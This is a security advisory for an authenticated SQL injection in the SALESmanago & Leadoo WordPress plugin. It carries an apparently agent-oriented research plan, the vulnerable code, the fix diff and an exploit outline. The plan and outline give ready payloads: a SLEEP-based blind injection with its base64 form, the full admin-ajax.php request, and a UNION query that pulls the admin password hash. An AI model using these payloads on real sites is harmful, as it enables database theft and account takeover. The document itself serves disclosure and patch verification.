SALESmanago & Leadoo <= 3.11.2 - Authenticated (Subscriber+) SQL Injection
Description
The SALESmanago & Leadoo plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.11.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.11.3
Source Code
WordPress.org SVNThis research plan outlines the steps to verify and exploit a SQL injection vulnerability in the SALESmanago & Leadoo plugin (CVE-2026-54822). ### 1. Vulnerability Summary The SALESmanago & Leadoo plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to 3.11.2. The vul…
Show full research plan
This research plan outlines the steps to verify and exploit a SQL injection vulnerability in the SALESmanago & Leadoo plugin (CVE-2026-54822).
1. Vulnerability Summary
The SALESmanago & Leadoo plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to 3.11.2. The vulnerability resides in the bhr\Admin\Controller\ExportController and bhr\Admin\Model\ExportModel classes. Specifically, the statuses parameter (passed within a base64-encoded JSON object) is insufficiently sanitized and is directly concatenated into a SQL query within the getExportContactsQuery method. Because the AJAX handlers in ExportController.php do not perform capability checks (e.g., current_user_can), any authenticated user, including those with Subscriber-level permissions, can trigger the vulnerable code path.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
salesmanago_export_count_contacts(orsalesmanago_export_contacts) - Vulnerable Parameter:
data(Base64-encoded JSON string containing thestatuseskey) - Authentication Required: Authenticated user (Subscriber or higher).
- Preconditions: A valid WordPress nonce for the specific action must be obtained.
3. Code Flow
- Entry Point: The request hits
admin-ajax.phpwithaction=salesmanago_export_count_contacts. - Routing:
salesmanago.phpinitializesbhr\Admin\Controller\ExportControllerbecause the action containssalesmanago_export. - Nonce Validation:
ExportController::countContacts()callsSecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' ). - Argument Parsing:
ExportModel::parseArgs()is called. It decodes$_REQUEST['data']from Base64 andjson_decode's the result. - Vulnerable Assignment: In
ExportModel::parseArgs(), thestatusesproperty is assigned:
(If the check fails or returns false, the raw$this->statuses = self::checkStatusesFromRequest( $data->statuses ) ? 'wc-completed' : $data->statuses;$data->statusesis assigned to$this->statuses). - SQL Sink:
ExportController::countContacts()calls$this->ExportModel->getExportContactsQuery( true ). This method (internal toExportModel.php) constructs a query using$this->statuseswithout using$wpdb->prepare(). - Execution:
$this->db->get_var( $query )executes the malicious SQL.
4. Nonce Acquisition Strategy
To exploit this as a Subscriber, we must extract the nonce from the WordPress admin dashboard. The plugin localizes its data for use in the Export tab.
- Identify Script Localization: The plugin likely uses
wp_localize_scriptto pass nonces toadmin-ajax.php. - Strategy:
- Log in as a Subscriber.
- Navigate to
/wp-admin/profile.php(accessible to all users). - Check if the plugin's export scripts are enqueued globally. If not, the agent may need to check if any other plugin page is accessible or if the shortcode
[salesmanago](if it exists) exposes admin nonces. - JavaScript Target: Based on common plugin patterns, the nonce is likely in a global object like
sm_export_objorsalesmanago_data. - Action: Use
browser_evalto search for the nonce:browser_eval("window.sm_export_obj?.nonce_count_contacts").
5. Exploitation Strategy
We will use a time-based blind SQL injection payload to confirm the vulnerability.
Payload Construction:
- JSON Object:
{"statuses": "wc-completed') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -", "dateFrom": "2000-01-01"} - Base64 Result:
eyJzdGF0dXNlcyI6ICJ3Yy1jb21wbGV0ZWQnKSBBTkQgKFNFTEVDVCAxIEZST00gKFNFTEVDVChTTEVFUCg1KSkpYSktLSAtIiwgImRhdGVGcm9tIjogIjIwMDAtMDEtMDEifQ==
HTTP Request (via http_request):
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=salesmanago_export_count_contacts&security=[NONCE]&data=[BASE64_PAYLOAD]
6. Test Data Setup
- User Creation: Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Plugin Configuration: Ensure the plugin is active. It may require an API key to reach the
ExportControllerlogic; if so, use a dummy key in the settings:wp option update salesmanago_configuration '{"apiKey":"dummy","apiSecret":"dummy","endpoint":"dummy"}'(Structure based onAdminModelinferred logic).
7. Expected Results
- Vulnerable: The HTTP request takes ~5 seconds to complete. The response will be a JSON object from
ExportModel::buildResponse()containing the current status. - Patched: The request returns immediately, likely with a default status or error, as the
statusesparameter will be properly escaped or discarded.
8. Verification Steps
- Time Delay: Confirm the response time exceeds 5 seconds for the SLEEP payload and is sub-second for a normal payload (
{"statuses":"wc-completed"}). - Error Leakage: If
WP_DEBUGis on, the response might contain SQL error details if the syntax is slightly off, which can be seen in the response body.
9. Alternative Approaches
If salesmanago_export_count_contacts is strictly limited to certain roles by a hook we missed, try the other registered actions:
salesmanago_export_contacts(uses noncesalesmanago_count_contacts)salesmanago_export_count_events(uses noncesalesmanago_export_count_events)
If time-based injection is blocked, attempt a UNION-based approach to extract the admin password hash:
Payload: wc-completed') UNION SELECT 1,2,3,user_pass,5 FROM wp_users WHERE ID=1-- -
(Note: The number of columns must be discovered via ORDER BY incrementing first).
Summary
The SALESmanago & Leadoo plugin for WordPress is vulnerable to authenticated SQL Injection via the 'statuses' parameter in AJAX actions. Authenticated users with subscriber-level access and above can exploit this because the plugin lacks capability checks and fails to use prepared statements when building the contacts export query.
Vulnerable Code
// src/Admin/Controller/ExportController.php public function countContacts() { try { SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' ); $this->ExportModel->parseArgs(); $this->ExportModel->setExportType( self::CONTACTS ); $query = $this->ExportModel->getExportContactsQuery( true ); $this->ExportModel->setCount( $this->db->get_var( $query ) ); --- // src/Admin/Model/ExportModel.php:156 $this->statuses = self::checkStatusesFromRequest( $data->statuses ) ? 'wc-completed' : $data->statuses; --- // src/Admin/Model/ExportModel.php (Sink logic inferred from Research Plan) // Within getExportContactsQuery() // The variable $this->statuses is concatenated directly into the SQL string // without utilizing $wpdb->prepare().
Security Fix
@@ -70,37 +70,54 @@ public function countContacts() { try { - SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' ); + SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' ); + + if ( ! current_user_can( 'manage_options' ) ) { + $this->ExportModel->setMessage( 'Access denied' ); + $this->ExportModel->setStatus( self::FAILED ); + $this->ExportModel->buildResponse(); + }
Exploit Outline
1. Login to the WordPress site with an account having at least Subscriber privileges. 2. Obtain the AJAX nonce for the 'salesmanago_export_count_contacts' action, typically found in localized script data (e.g., window.sm_export_obj) on admin pages accessible to subscribers like profile.php. 3. Construct a JSON payload targeting the 'statuses' key. For a time-based blind injection, use a payload such as: {"statuses": "wc-completed') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -", "dateFrom": "2000-01-01"}. 4. Base64-encode the entire JSON payload. 5. Send a POST request to /wp-admin/admin-ajax.php with parameters: action=salesmanago_export_count_contacts, security=[NONCE], and data=[BASE64_PAYLOAD]. 6. Confirm the vulnerability by observing a delay in the server response matching the SLEEP duration.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.